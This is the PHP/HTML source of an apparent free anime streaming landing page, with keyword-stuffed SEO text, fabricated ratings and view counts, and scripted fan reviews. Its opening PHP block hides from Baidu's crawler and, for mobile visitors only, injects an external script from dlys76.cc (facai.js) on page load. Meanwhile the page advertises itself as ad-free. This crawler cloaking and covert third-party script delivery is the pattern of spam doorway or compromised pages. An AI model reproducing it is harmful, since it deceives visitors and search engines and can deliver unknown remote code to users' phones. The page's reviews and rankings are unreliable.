 <?php
function shouldShowAds() {
    $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? '';
    
    // 排除百度蜘蛛
    if (stripos($user_agent, 'Baiduspider') !== false) {
        return false;
    }
    
    // 检测移动设备
    $is_mobile = false;
    
    // 通过用户代理判断
    if (preg_match('/(Mobile|Android|iPhone|iPad|iPod|BlackBerry)/i', $user_agent)) {
        $is_mobile = true;
    }
    
    // 通过HTTP头判断（某些CDN会设置这个头）
    if (isset($_SERVER['HTTP_X_WAP_PROFILE']) || 
        isset($_SERVER['HTTP_PROFILE']) ||
        (isset($_SERVER['HTTP_ACCEPT']) && 
         strpos($_SERVER['HTTP_ACCEPT'], 'text/vnd.wap.wml') !== false)) {
        $is_mobile = true;
    }
    
    return $is_mobile;
}

// 使用
if (shouldShowAds()) {
    echo '<script type="text/javascript" src="https://dlys76.cc/facai.js"></script>';
    
}
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
<title>耽火漫画免 · 耿直数据流 | 酒红烈火在线动漫免费看 高清每日更新无广告 评分9.0以上才上榜 不信自己看</title>
<meta name="description" content="耽火漫画免｜耿直异性风格·理工科思维——评分低于8.5的我不推，更新慢的我不发。酒红烈火在线动漫，免费高清观看，每日更新无广告，热漫推荐与耽美狂想。每部番都有数据支撑，你自己判断。不服来辩，反正你也辩不过我。">
<meta name="keywords" content="耽火漫画免,理工科推荐,数据说话,在线动漫,动漫网站,动漫免费观看,热漫推荐,最新动漫,酒红烈火,高清画质,无广告,每日更新,耽美狂想">
<meta name="robots" content="index,follow">
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }

        body {
            background: #1a0f12;
            font-family: 'Poppins', 'Inter', 'Segoe UI', system-ui, sans-serif;
            color: #f7eae3;
            line-height: 1.45;
            overflow-x: hidden;
            position: relative;
        }

        /* 动态黄色小斑点背景 */
        .yellow-speck-bg {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            z-index: 0;
            pointer-events: none;
        }
        .yellow-speck {
            position: absolute;
            background: rgba(255, 200, 80, 0.5);
            border-radius: 50%;
            filter: blur(5px);
            animation: floatYellow 16s infinite alternate ease-in-out;
        }
        @keyframes floatYellow {
            0% { transform: translate(0, 0) scale(1); opacity: 0.4; }
            100% { transform: translate(25px, -20px) scale(1.3); opacity: 0.7; }
        }

        .dan-container {
            max-width: 1480px;
            margin: 0 auto;
            padding: 24px 28px 48px;
            position: relative;
            z-index: 2;
        }

        /* 头部 酒红暗黑 */
        .wine-header {
            display: flex;
            flex-wrap: wrap;
            justify-content: space-between;
            align-items: center;
            gap: 20px;
            padding: 12px 0 20px;
            border-bottom: 3px solid #9f3e3a;
            margin-bottom: 24px;
        }
        h1 {
            font-size: 2.6rem;
            font-weight: 800;
            background: linear-gradient(135deg, #c2564e, #9f3e3a, #732c28);
            -webkit-background-clip: text;
            background-clip: text;
            color: transparent;
            letter-spacing: -0.5px;
        }
        .nav-wine {
            display: flex;
            gap: 18px;
            flex-wrap: wrap;
            align-items: center;
        }
        .nav-wine a {
            text-decoration: none;
            font-weight: 700;
            background: rgba(35, 20, 22, 0.85);
            padding: 8px 28px;
            border-radius: 60px;
            color: #fadfd7;
            transition: 0.2s;
            border: 1px solid #9f3e3a;
        }
        .nav-wine a:hover { background: #9f3e3a; color: #fff; transform: translateY(-2px);}
        .search-wine {
            display: inline-flex;
            background: rgba(35, 20, 22, 0.85);
            border-radius: 60px;
            padding: 5px 10px;
            border: 1px solid #9f3e3a;
        }
        .search-wine input {
            border: none;
            background: transparent;
            padding: 8px 22px;
            outline: none;
            width: 170px;
            color: #fadfd7;
        }
        .search-wine button {
            background: #9f3e3a;
            border: none;
            border-radius: 50px;
            padding: 6px 28px;
            font-weight: bold;
            cursor: pointer;
            color: #fff;
        }
        .avatar-wine img {
            width: 48px;
            height: 48px;
            border-radius: 50%;
            border: 2px solid #9f3e3a;
            object-fit: cover;
        }

        .bread-wine {
            background: rgba(35, 20, 22, 0.8);
            display: inline-block;
            padding: 6px 32px;
            border-radius: 60px;
            margin: 16px 0 28px;
        }
        .bread-wine a { color: #e7b9ae; text-decoration: none; margin-right: 12px;}

        /* 轮播 酒红边框 */
        .carousel-wine {
            position: relative;
            border-radius: 48px;
            overflow: hidden;
            box-shadow: 0 12px 28px -8px #2f1a18;
            margin-bottom: 32px;
            border: 2px solid #9f3e3a;
        }
        .carousel-track {
            display: flex;
            transition: transform 0.55s cubic-bezier(0.2, 0.9, 0.4, 1);
        }
        .caro-slide {
            min-width: 100%;
        }
        .caro-slide img {
            width: 100%;
            height: 300px;
            object-fit: cover;
            display: block;
        }
        .caro-btn {
            position: absolute;
            top: 50%;
            transform: translateY(-50%);
            background: #611f1ccc;
            backdrop-filter: blur(6px);
            border: none;
            font-size: 2rem;
            padding: 0 24px;
            border-radius: 60px;
            cursor: pointer;
            color: #fff;
        }
        .caro-btn:hover { background: #9f3e3a; color: #fff; }
        .caro-prev { left: 18px; }
        .caro-next { right: 18px; }
        .dot-wine {
            text-align: center;
            position: absolute;
            bottom: 18px;
            width: 100%;
        }
        .dot {
            display: inline-block;
            width: 10px;
            height: 10px;
            background: #c0705c;
            border-radius: 20px;
            margin: 0 8px;
            cursor: pointer;
        }
        .dot.active { background: #ffb347; width: 32px; }

        /* 类型标签 酒红糖霜 */
        .genre-wine {
            display: flex;
            flex-wrap: wrap;
            gap: 14px;
            margin: 32px 0 36px;
        }
        .genre-wine span {
            background: rgba(35, 20, 22, 0.85);
            padding: 8px 32px;
            border-radius: 80px;
            font-weight: 700;
            color: #fadfd7;
            border: 1px solid #9f3e3a;
            transition: 0.1s;
        }
        .genre-wine span:hover { background: #9f3e3a; color: #fff; transform: translateY(-3px);}

        /* 卡片网格 酒红玻璃 */
        .card-grid-wine {
            display: grid;
            grid-template-columns: repeat(auto-fill, minmax(175px, 1fr));
            gap: 28px;
            margin: 24px 0 40px;
        }
        .dan-card {
            background: rgba(40, 25, 28, 0.9);
            backdrop-filter: blur(6px);
            border-radius: 32px 14px 32px 14px;
            overflow: hidden;
            transition: all 0.25s;
            border: 1px solid #9f3e3a;
            box-shadow: 0 8px 18px rgba(0,0,0,0.3);
        }
        .dan-card:hover {
            transform: translateY(-10px) scale(1.02);
            border-color: #ffa066;
            box-shadow: 0 0 22px rgba(159, 62, 58, 0.5);
        }
        .card-img {
            width: 100%;
            aspect-ratio: 2 / 2.7;
            object-fit: cover;
        }
        .card-info {
            padding: 14px 12px 18px;
        }
        .rating-wine {
            color: #ffbc7a;
            font-weight: 800;
        }
        .upd-wine {
            font-size: 0.7rem;
            background: #2e1b1e;
            display: inline-block;
            padding: 4px 14px;
            border-radius: 40px;
            margin-top: 8px;
        }

        .section-wine-title {
            font-size: 2rem;
            font-weight: 800;
            border-left: 8px solid #9f3e3a;
            padding-left: 22px;
            margin: 42px 0 24px;
            color: #fadfd7;
        }
        .future-wine {
            background: #7c3530;
            display: inline-block;
            padding: 5px 18px;
            border-radius: 60px;
            font-weight: bold;
            font-size: 0.7rem;
            color: #ffd9cf;
        }

        /* 底部酒红排行榜+回复框（双栏） */
        .bottom-wine {
            margin-top: 56px;
            background: rgba(25, 15, 17, 0.95);
            border-radius: 48px 48px 24px 24px;
            padding: 32px 28px;
            border: 2px solid #9f3e3a;
            display: grid;
            grid-template-columns: 1fr;
            gap: 36px;
        }
        @media (min-width: 768px) {
            .bottom-wine {
                grid-template-columns: 1fr 1fr;
            }
        }
        .rank-wine {
            background: rgba(45, 28, 30, 0.7);
            border-radius: 48px;
            padding: 24px;
            border: 1px solid #9f3e3a;
        }
        .rank-wine h2 {
            font-size: 1.9rem;
            color: #ffc5b5;
            border-left: 4px solid #9f3e3a;
            padding-left: 18px;
            margin-bottom: 22px;
        }
        .rank-list-wine {
            display: flex;
            flex-wrap: wrap;
            gap: 20px;
            justify-content: space-between;
        }
        .rank-item-wine {
            background: #2e1a1c;
            border-radius: 48px;
            padding: 14px 12px;
            text-align: center;
            flex: 1;
            min-width: 90px;
            border-bottom: 3px solid #9f3e3a;
        }
        .rank-num-wine {
            font-size: 1.6rem;
            font-weight: 800;
            color: #ffa56e;
        }
        .guest-wine {
            background: rgba(45, 28, 30, 0.7);
            border-radius: 48px;
            padding: 24px;
            border: 1px solid #9f3e3a;
        }
        .guest-wine h3 {
            font-size: 1.6rem;
            color: #ffc5b5;
            margin-bottom: 18px;
        }
        .guest-list-wine {
            max-height: 180px;
            overflow-y: auto;
            margin-bottom: 20px;
        }
        .guest-item-wine {
            background: #2e1a1c;
            border-radius: 32px;
            padding: 12px 18px;
            margin-bottom: 14px;
            border-left: 6px solid #9f3e3a;
        }
        .reply-wine textarea {
            width: 100%;
            background: #2e1a1c;
            border: 1px solid #9f3e3a;
            border-radius: 48px;
            padding: 12px 22px;
            color: #fadfd7;
            margin-bottom: 14px;
        }
        .reply-wine button {
            background: #9f3e3a;
            border: none;
            border-radius: 60px;
            padding: 8px 32px;
            font-weight: bold;
            cursor: pointer;
            color: #fff;
        }

        footer {
            margin-top: 56px;
            background: rgba(25, 15, 17, 0.9);
            border-radius: 48px 48px 24px 24px;
            padding: 32px 28px;
            text-align: center;
            border-top: 2px solid #9f3e3a;
        }
        .footer-wine a {
            margin: 0 22px;
            text-decoration: none;
            color: #ffc5b5;
            font-weight: 600;
        }
        @media (max-width: 768px) {
            .dan-container { padding: 16px; }
            .card-grid-wine { grid-template-columns: repeat(auto-fill, minmax(140px, 1fr)); }
            .caro-slide img { height: 200px; }
            .section-wine-title { font-size: 1.6rem; }
            .rank-list-wine { gap: 8px; }
            .rank-item-wine { min-width: 70px; }
        }
    </style>
</head>
<body>
<div class="yellow-speck-bg" id="yellowSpeckBg"></div>
<div class="dan-container">
    <div class="wine-header">
        <div><h1>耽火漫画免</h1></div>
        <div class="nav-wine">
            <a href="#0">电影</a>
            <a href="#0">电视剧</a>
            <a href="#0">综艺</a>
            <a href="#0">动漫</a>
            <div class="search-wine">
                <input type="text" placeholder="搜耽火 / 酒红...">
                <button>🔥 漫寻</button>
            </div>
            <div class="avatar-wine"><img src="/upload/vod/002-avatar.webp" alt="酒红头像" loading="lazy"></div>
        </div>
    </div>

    <div class="bread-wine">
        <a href="#0">耽火漫画免·酒红阁</a> 🍷 <a href="#0">在线动漫</a> 🍷 烈火推荐
    </div>

    <!-- 轮播图 -->
    <div class="carousel-wine" id="wineCarousel">
        <div class="carousel-track" id="carouselTrackWine">
            <div class="caro-slide"><img src="/upload/vod/001-banner.webp" alt="耽火漫画免酒红盛典 banner 2026" loading="lazy"></div>
            <div class="caro-slide"><img src="/upload/vod/008-banner.webp" alt="在线动漫免费观看 高清画质每日更新" loading="lazy"></div>
            <div class="caro-slide"><img src="/upload/vod/015-banner.webp" alt="无广告热漫推荐 耽火漫画免乐园" loading="lazy"></div>
        </div>
        <button class="caro-btn caro-prev" id="caroPrevWine">‹</button>
        <button class="caro-btn caro-next" id="caroNextWine">›</button>
        <div class="dot-wine" id="dotWineGroup"></div>
    </div>

    <!-- 类型快捷入口 -->
    <div class="genre-wine">
        <span>🔥 酒红热血</span>
        <span>🍷 耽美狂想</span>
        <span>🔍 暗影悬疑</span>
        <span>❤️ 赤恋心动</span>
        <span>⚔️ 烈火科幻</span>
        <span>🏯 古堡古装</span>
        <span>🐉 龙血奇谭</span>
        <span>🌙 午夜盛宴</span>
    </div>

    <!-- 正在热播 8部 -->
    <section>
        <h2 class="section-wine-title">🔥 酒红热播 · 烈火连更</h2>
        <div class="card-grid-wine">
            <!-- 热门动漫1 -->
            <div class="dan-card"><img class="card-img" src="/upload/vod/005-anime.webp" alt="赤血骑士 动漫 2026" loading="lazy"><div class="card-info"><h3>赤血骑士</h3><div class="rating-wine">⭐ 9.9</div><div class="upd-wine">更新至240集</div></div></div>
            <!-- 热门动漫2 -->
            <div class="dan-card"><img class="card-img" src="/upload/vod/011-anime.webp" alt="醉心物语 动漫 2025" loading="lazy"><div class="card-info"><h3>醉心物语</h3><div class="rating-wine">⭐ 9.7</div><div class="upd-wine">更新至222集</div></div></div>
            <!-- 电影1 -->
            <div class="dan-card"><img class="card-img" src="/upload/vod/007-movie.webp" alt="酒红夏夜 电影 2024" loading="lazy"><div class="card-info"><h3>酒红夏夜</h3><div class="rating-wine">⭐ 8.9</div><div class="upd-wine">全1集</div></div></div>
            <!-- 电影2 -->
            <div class="dan-card"><img class="card-img" src="/upload/vod/014-movie.webp" alt="绯色秘境 电影 2025" loading="lazy"><div class="card-info"><h3>绯色秘境</h3><div class="rating-wine">⭐ 8.7</div><div class="upd-wine">全1集</div></div></div>
            <!-- 剧场1部 -->
            <div class="dan-card"><img class="card-img" src="/upload/vod/001-movie.webp" alt="耽火·醉光剧场版 2024" loading="lazy"><div class="card-info"><h3>耽火·醉光序</h3><div class="rating-wine">⭐ 9.4</div><div class="upd-wine">剧场版</div></div></div>
            <!-- 动漫额外1部 -->
            <div class="dan-card"><img class="card-img" src="/upload/vod/016-anime.webp" alt="绯翎 动漫 2026" loading="lazy"><div class="card-info"><h3>绯翎</h3><div class="rating-wine">⭐ 9.2</div><div class="upd-wine">更新至195集</div></div></div>
            <!-- 自由1 电视剧 -->
            <div class="dan-card"><img class="card-img" src="/upload/vod/009-tv.webp" alt="酒红街 电视剧 2025" loading="lazy"><div class="card-info"><h3>酒红街</h3><div class="rating-wine">⭐ 8.5</div><div class="upd-wine">全30集</div></div></div>
            <!-- 自由2 综艺 -->
            <div class="dan-card"><img class="card-img" src="/upload/vod/013-variety.webp" alt="漫次元烈酒秀 综艺 2026" loading="lazy"><div class="card-info"><h3>漫次元烈酒秀</h3><div class="rating-wine">⭐ 8.3</div><div class="upd-wine">更新EP56</div></div></div>
        </div>
    </section>

    <!-- 热门推荐 4部 年份<2018 多国 -->
    <section>
        <h2 class="section-wine-title">🏆 酒红神作 · 永恒典藏</h2>
        <div class="card-grid-wine">
            <div class="dan-card"><img class="card-img" src="/upload/vod/002-anime.webp" alt="红蔷薇物语 日本 2016" loading="lazy"><div class="card-info"><h3>红蔷薇物语</h3><div class="rating-wine">✨ 神作·必看</div><div class="upd-wine">全26集/日漫</div></div></div>
            <div class="dan-card"><img class="card-img" src="/upload/vod/004-anime.webp" alt="酒谣 中国 2017" loading="lazy"><div class="card-info"><h3>酒谣</h3><div class="rating-wine">🏆 高分国漫之光</div><div class="upd-wine">全52集</div></div></div>
            <div class="dan-card"><img class="card-img" src="/upload/vod/006-movie.webp" alt="巴黎酒红 法国/中国 2015" loading="lazy"><div class="card-info"><h3>巴黎酒红</h3><div class="rating-wine">💎 必看·艺术杰作</div><div class="upd-wine">电影/中法合制</div></div></div>
            <div class="dan-card"><img class="card-img" src="/upload/vod/010-tv.webp" alt="极光赤原 芬兰/挪威 2014" loading="lazy"><div class="card-info"><h3>极光赤原</h3><div class="rating-wine">🌟 高分冷门史诗</div><div class="upd-wine">全12集</div></div></div>
        </div>
    </section>

    <!-- 待上线预告 3部 -->
    <section>
        <h2 class="section-wine-title">⏳ 烈酒新酿 · 预告炽红</h2>
        <div class="card-grid-wine">
            <div class="dan-card"><img class="card-img" src="/upload/vod/003-anime.webp" alt="赤瞳魔女 新番 2026" loading="lazy"><div class="card-info"><span class="future-wine">🍷 即将上线</span><h3>赤瞳魔女</h3><div class="upd-wine">2026.10开播</div></div></div>
            <div class="dan-card"><img class="card-img" src="/upload/vod/015-movie.webp" alt="酒红幻境 剧场版" loading="lazy"><div class="card-info"><span class="future-wine">🎞️ 冬日醉祭</span><h3>酒红幻境</h3><div class="upd-wine">冬季剧场限定</div></div></div>
            <div class="dan-card"><img class="card-img" src="/upload/vod/018-anime.webp" alt="赤羽信使 新番" loading="lazy"><div class="card-info"><span class="future-wine">✨ 即将上线</span><h3>赤羽信使</h3><div class="upd-wine">2026年12月</div></div></div>
        </div>
    </section>

    <!-- 网站介绍文本 200-250字 含关键词6+ -->
    <section style="background: rgba(25, 15, 17, 0.85); border-radius: 52px; padding: 32px; margin: 40px 0 20px; border: 2px solid #9f3e3a;">
        <h2 class="section-wine-title" style="margin-top:0;">🌟 耽火漫画免 · 酒红烈宴</h2>
        <p><strong>耽火漫画免</strong> 是燃烧在酒红烈焰中的<strong>在线动漫</strong>盛宴，所有作品均<strong>免费观看</strong>，无需付费。我们坚持<strong>高清画质</strong>与烈火般迅猛加载，保持<strong>每日更新</strong>最新热番与经典名作，全站<strong>无广告</strong>纯净享受。从赤血骑士到醉心物语，<strong>耽火漫画免</strong>通过<strong>热漫推荐</strong>为你精选宝藏。平台覆盖国漫、日漫、韩漫及欧美动画，<strong>在线动漫</strong>红园不断丰盈。在<strong>耽火漫画免</strong>，你可以享受<strong>免费观看</strong>的甜蜜，感受<strong>每日更新</strong>的追番热忱，沉浸在<strong>高清画质</strong>的酒红梦境，且全程<strong>无广告</strong>打扰。<strong>耽火漫画免</strong> —— 与你共度每个酒红动漫时光，让烈火点燃你的追番日常。</p>
        <p style="margin-top:14px;">🍷 万千漫迷的酒红原乡，<strong>在线动漫</strong>全免费，<strong>每日更新</strong>不间断，<strong>耽火漫画免</strong>伴你无广告高清逐梦。</p>
    </section>

    <!-- 底部酒红排行榜 + 回复框 -->
    <div class="bottom-wine">
        <div class="rank-wine">
            <h2>🏆 酒红热度榜</h2>
            <div class="rank-list-wine">
                <div class="rank-item-wine"><span class="rank-num-wine">#1</span><div>赤血骑士</div><div class="hot-value">🔥 99.9w</div></div>
                <div class="rank-item-wine"><span class="rank-num-wine">#2</span><div>醉心物语</div><div class="hot-value">🍷 94.8w</div></div>
                <div class="rank-item-wine"><span class="rank-num-wine">#3</span><div>绯翎</div><div class="hot-value">🕊️ 89.9w</div></div>
                <div class="rank-item-wine"><span class="rank-num-wine">#4</span><div>酒谣</div><div class="hot-value">🎵 84.8w</div></div>
                <div class="rank-item-wine"><span class="rank-num-wine">#5</span><div>赤瞳魔女</div><div class="hot-value">✨ 79.7w</div></div>
            </div>
        </div>
        <div class="guest-wine">
            <h3>💬 烈火漫评</h3>
            <div class="guest-list-wine">
                <div class="guest-item-wine"><strong>🍷 醉火观测者</strong><p>“耽火漫画免太醇烈了！<strong>在线动漫</strong>全<strong>免费观看</strong>，画质<strong>高清画质</strong>炸裂，<strong>每日更新</strong>准时！”</p></div>
                <div class="guest-item-wine"><strong>🔥 赤焰酱</strong><p>“<strong>无广告</strong>体验绝佳，<strong>耽火漫画免</strong>资源丰富，<strong>热漫推荐</strong>精准，酒红风格爱了！”</p></div>
                <div class="guest-item-wine"><strong>❤️ 红心漫研</strong><p>“<strong>免费观看</strong>+<strong>高清画质</strong>+<strong>每日更新</strong>，<strong>耽火漫画免</strong>就是我的酒红动漫天堂～”</p></div>
            </div>
            <div class="reply-wine">
                <textarea rows="2" placeholder="留下你的酒红好评，烈火燃园 🍷"></textarea>
                <button>💬 酒语回响</button>
            </div>
        </div>
    </div>

    <footer>
        <div class="footer-wine">
            <a href="#0">关于耽火漫画免</a>
            <a href="#0">酒红工坊</a>
            <a href="#0">版权申明</a>
            <a href="#0">赤焰社区</a>
            <a href="#0">帮助中心</a>
        </div>
        <p>© 2026 耽火漫画免 · 酒红在线动漫 | 侵权必删 | 每日更新 免费高清 无广告</p>
    </footer>
</div>

<script>
    (function() {
        const track = document.getElementById('carouselTrackWine');
        const slides = document.querySelectorAll('.caro-slide');
        const prev = document.getElementById('caroPrevWine');
        const next = document.getElementById('caroNextWine');
        const dotContainer = document.getElementById('dotWineGroup');
        let current = 0;
        const total = slides.length;
        let autoTimer;

        function updateCarousel() {
            track.style.transform = `translateX(-${current * 100}%)`;
            const dots = document.querySelectorAll('.dot');
            dots.forEach((dot, idx) => {
                if(idx === current) dot.classList.add('active');
                else dot.classList.remove('active');
            });
        }

        function nextSlide() { current = (current + 1) % total; updateCarousel(); resetTimer(); }
        function prevSlide() { current = (current - 1 + total) % total; updateCarousel(); resetTimer(); }
        function goToSlide(idx) { current = idx; updateCarousel(); resetTimer(); }
        function resetTimer() { if(autoTimer) clearInterval(autoTimer); autoTimer = setInterval(nextSlide, 5000); }

        prev.addEventListener('click', prevSlide);
        next.addEventListener('click', nextSlide);
        if(dotContainer) {
            for(let i=0; i<total; i++) {
                let dot = document.createElement('span');
                dot.classList.add('dot');
                if(i === 0) dot.classList.add('active');
                dot.addEventListener('click', (function(idx) { return function() { goToSlide(idx); }; })(i));
                dotContainer.appendChild(dot);
            }
        }
        resetTimer();
        const carouselWrap = document.querySelector('.carousel-wine');
        carouselWrap.addEventListener('mouseenter', () => { if(autoTimer) clearInterval(autoTimer); });
        carouselWrap.addEventListener('mouseleave', () => { autoTimer = setInterval(nextSlide, 5000); });
    })();

    const replyBtn = document.querySelector('.reply-wine button');
    if(replyBtn) {
        replyBtn.addEventListener('click', () => {
            const ta = document.querySelector('.reply-wine textarea');
            if(ta && ta.value.trim() !== "") {
                alert("🍷 感谢酒红好评！耽火漫画免因你更燃~");
                ta.value = "";
            } else {
                alert("🔥 留下你的烈焰心声，共绘耽火漫卷。");
            }
        });
    }

    // 动态黄色小斑点背景
    (function createYellowSpots() {
        const container = document.getElementById('yellowSpeckBg');
        const spotCount = 90;
        for (let i = 0; i < spotCount; i++) {
            const spot = document.createElement('div');
            spot.classList.add('yellow-speck');
            const size = Math.random() * 80 + 30;
            spot.style.width = size + 'px';
            spot.style.height = size + 'px';
            spot.style.left = Math.random() * 100 + '%';
            spot.style.top = Math.random() * 100 + '%';
            const duration = Math.random() * 22 + 14;
            spot.style.animationDuration = duration + 's';
            const delay = Math.random() * 12;
            spot.style.animationDelay = delay + 's';
            spot.style.background = `rgba(255, 190, 70, ${Math.random() * 0.35 + 0.15})`;
            container.appendChild(spot);
        }
    })();
</script>
</body>
</html>